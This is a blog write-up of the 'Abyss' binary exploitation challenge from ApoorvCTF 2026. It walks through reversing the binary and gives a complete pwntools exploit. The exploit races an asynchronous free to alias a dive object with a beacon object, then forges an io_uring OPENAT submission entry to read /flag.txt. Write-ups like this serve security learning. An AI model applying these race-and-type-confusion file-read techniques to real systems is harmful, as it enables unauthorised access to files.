1149 words
6 minutes
ApoorvCTF 2026 - Abyss - Binary Exploitation Writeup

Category: Binary Exploitation Flag: apoorvctf{th1s_4by55_truly_d03s_5t4r3_b4ck}

Challenge Description#

Stare into the abyss

Analysis#

The binary looked nasty right away because it was a fully hardened 64-bit PIE with canary, NX, Full RELRO, and even IBT/SHSTK enabled. That mattered because it pushed the solve away from the usual “smash RIP and ret2win” workflow and toward understanding the program’s own object model and threading behavior.

checksec --file=./abyss
[*] '/home/rei/Downloads/abyss_work/abyss'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
file ./abyss
./abyss: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped

The next clue came from the symbol and string surface. There was no exported win function, but there were two worker threads, a STATUS format string that leaked internal pointers, and the very suspicious /flag.txt string.

strings ./abyss | rg -i "flag|win|shell|system|/bin/sh|password|gets|scanf|strcpy|read|printf"
fgets
read
__isoc99_sscanf
__vsnprintf_chk
FLAG:
STATUS id=%d addr=0x%lx depth=%u flags=0x%x timestamp=%lu next_enc=0x%lx tag=0x%x
/flag.txt
readelf -s ./abyss | rg -i "win|flag|shell|system|vuln|gets|scanf|strcpy|sprintf|read|printf|puts|main"
    55: 0000000000001360  4086 FUNC    GLOBAL DEFAULT   15 main
    12: 0000000000002670  1551 FUNC    LOCAL  DEFAULT   15 _ZL14benthic_threadPv
    13: 0000000000002ef0   270 FUNC    LOCAL  DEFAULT   15 _ZL7xprintfPKcz
    49: 0000000000006010     8 OBJECT  GLOBAL DEFAULT   25 g_flagname

Running the program locally made the shape of the interface obvious. It was an object manager with commands for creating dives, editing them, allocating beacons, and sending something into the abyss.

printf 'HELP\nQUIT\n' | ./abyss
ABYSS v0.1.0 — Where the light never reaches
Commands: DIVE DESCEND WRITE POP FLUSH STATUS BEACON ABYSS ECHO HELP QUIT

Decompiling main showed that DIVE allocated 0x60-byte dive objects into g_dive_reg, STATUS printed their address, flags, timestamp, encoded next pointer, tag, and a 64-byte note region, and DESCEND/WRITE both wrote attacker-controlled bytes into that 64-byte region. BEACON allocated another 0x60-byte object type into g_levi_reg, and ABYSS handed a selected beacon to the benthic thread. The especially important detail was that ABYSS printed either a one-byte status or, if the benthic thread wrote back more than one byte, it printed the returned buffer as FLAG: %s.

That was the moment the problem stopped looking like a classic memory corruption challenge and started looking like a weird data-oriented attack surface.

The first rabbit hole was a stale-pointer idea around POP. It felt promising because STATUS leaked addresses and tags, but POP turned out to clear the corresponding g_dive_reg entry properly, so that path died fast.

cry

The next set of quick probes mattered because they exposed what the write primitives actually did. DESCEND behaved like a normal offset-based write into the 64-byte note buffer, but WRITE did not. No matter which offset I gave it, it always wrote from the start of the note. That told me the real useful primitive was DESCEND, while WRITE was just a parser bug that was less helpful than it first looked.

printf 'DIVE 1\nWRITE 0 1 41\nSTATUS 0\nWRITE 0 64 44\nSTATUS 0\nQUIT\n' | ./abyss
DIVING id=0 addr=0x570f135d4920 depth=1
WRITTEN id=0 bytes=1
STATUS id=0 addr=0x570f135d4920 depth=1 flags=0x0 timestamp=1741439540 next_enc=0x8579eb8cb6ab6ca4 tag=0xd14ed14e
note=41...
WRITTEN id=0 bytes=1
STATUS id=0 addr=0x570f135d4920 depth=1 flags=0x0 timestamp=1741439540 next_enc=0x8579eb8cb6ab6ca4 tag=0xd14ed14e
note=44...
printf 'DIVE 1\nDESCEND 0 63 41\nSTATUS 0\nQUIT\n' | ./abyss
DIVING id=0 addr=0x55c9ca843920 depth=1
DESCENDED id=0 offset=63
STATUS id=0 addr=0x55c9ca843920 depth=1 flags=0x0 timestamp=1741439540 next_enc=0x4f4410305339d6ef tag=0xd14ed14e
note=00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000041

The real breakthrough came from reversing the thread logic. The mesopelagic thread handled FLUSH asynchronously, sleeping for about 1.25 seconds and then freeing the snapshotted request chain back into dive_free_head even if g_request_stack had changed in the meantime. The benthic thread was even better: it treated the 64-byte beacon payload at levi+8 as a raw io_uring_sqe. If the opcode was IORING_OP_OPENAT, it would submit that SQE, and on success it would automatically issue an internal read into a static buffer and write the read bytes back to the result pipe. In other words, if I could ever edit the payload of a live beacon object, the binary would read any file I could point it at.

The obstacle was that the interface only let me edit dives, not beacons. The trick was to force a type-confusion alias between the two slab allocators. BEACON had a fallback path: after the 16 dedicated leviathan chunks were exhausted, it started pulling 0x60-byte chunks from dive_free_head. FLUSH kept stale pointers alive in g_dive_reg, and the asynchronous free created a race window. So the winning sequence was to allocate 15 dives, send FLUSH, immediately create one fresh dive so g_request_stack changed during the worker’s sleep, wait for the worker to recycle the original 15 chunks into dive_free_head, and then allocate 17 beacons. The seventeenth beacon came from the recycled dive slab and landed on the same address as stale dive slot 0. STATUS 0 showing a levi tag at that same address was the proof that the alias was real.

python remote_exploit.py
[x] Opening connection to chals1.apoorvctf.xyz on port 16001
[+] Opening connection to chals1.apoorvctf.xyz on port 16001: Done
[*] DIVING id=0 addr=0x645e354fc920 depth=100
...
[*] DIVING id=14 addr=0x645e354fce60 depth=114
[*] Sending FLUSH and racing with a fresh DIVE
[*] BEACON id=0 addr=0x645e354fc320
...
[*] BEACON id=15 addr=0x645e354fc8c0
[*] BEACON id=16 addr=0x645e354fc920
[+] Fallback beacon16 addr = 0x645e354fc920
[*] STATUS 0: addr=0x645e354fc920 tag=0x1e114711
[+] Using stale dive alias id 0
[*] DESCENDED id=0 offset=0
FLAG: apoorvctf{th1s_4by55_truly_d03s_5t4r3_b4ck}

depth>
apoorvctf{th1s_4by55_truly_d03s_5t4r3_b4ck}

Once that landed, the rest was almost rude. The payload I wrote through the aliased dive was a standard 64-byte io_uring OPENAT SQE with fd = AT_FDCWD, addr = beacon_addr + 0x38, and the string /flag.txt\x00 embedded in the trailing 16 bytes of the SQE itself. Then ABYSS 16 made the benthic thread open the real flag file and read it back for me.

smug

It was a very funny challenge in the end: not a ROP chain, not shellcode, just a race-created object alias and a raw io_uring file-read gadget hiding in plain sight.

Solution#

# remote_exploit.py
from pwn import *
import re
import struct
import time

context.binary = "./abyss"
context.log_level = "info"

HOST = "chals1.apoorvctf.xyz"
PORT = 16001

ADDR_RE = re.compile(rb"addr=0x([0-9a-fA-F]+)")
TAG_RE = re.compile(rb"tag=0x([0-9a-fA-F]+)")
FLAG_RE = re.compile(rb"apoorvctf\{[^}]+\}")


def recv_prompt(p):
    return p.recvuntil(b"depth> ")


def cmd(p, s: str) -> bytes:
    p.sendline(s.encode())
    return recv_prompt(p)


def parse_addr(blob: bytes):
    m = ADDR_RE.search(blob)
    return int(m.group(1), 16) if m else None


def parse_tag(blob: bytes):
    m = TAG_RE.search(blob)
    return int(m.group(1), 16) if m else None


def build_openat_sqe(obj_addr: int, path: bytes) -> bytes:
    assert len(path) <= 16
    path = path.ljust(16, b"\x00")
    sqe = bytearray(64)
    sqe[0] = 0x12
    struct.pack_into("<I", sqe, 4, 0xFFFFFF9C)
    struct.pack_into("<Q", sqe, 0x10, obj_addr + 0x38)
    struct.pack_into("<I", sqe, 0x18, 0)
    struct.pack_into("<I", sqe, 0x1C, 0)
    sqe[0x30:0x40] = path
    return bytes(sqe)


def main():
    p = remote(HOST, PORT)
    recv_prompt(p)

    stale_ids = list(range(15))
    for i in stale_ids:
        cmd(p, f"DIVE {100 + i}")

    cmd(p, "FLUSH")
    cmd(p, "DIVE 999")
    time.sleep(1.6)

    beacon_addrs = {}
    for i in range(17):
        out = cmd(p, f"BEACON {i}")
        beacon_addrs[i] = parse_addr(out)

    fallback_addr = beacon_addrs[16]

    alias_id = None
    for i in stale_ids:
        out = cmd(p, f"STATUS {i}")
        addr = parse_addr(out)
        tag = parse_tag(out)
        if addr == fallback_addr or tag == 0x1E114711:
            alias_id = i
            break

    payload = build_openat_sqe(fallback_addr, b"/flag.txt\x00")
    cmd(p, f"DESCEND {alias_id} 0 {payload.hex()}")

    out = cmd(p, "ABYSS 16")
    print(out.decode(errors="replace"))

    m = FLAG_RE.search(out)
    if m:
        print(m.group(0).decode())

    p.close()


if __name__ == "__main__":
    main()
python remote_exploit.py
apoorvctf{th1s_4by55_truly_d03s_5t4r3_b4ck}
ApoorvCTF 2026 - Abyss - Binary Exploitation Writeup
https://blog.rei.my.id/posts/108/apoorvctf-2026-abyss-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0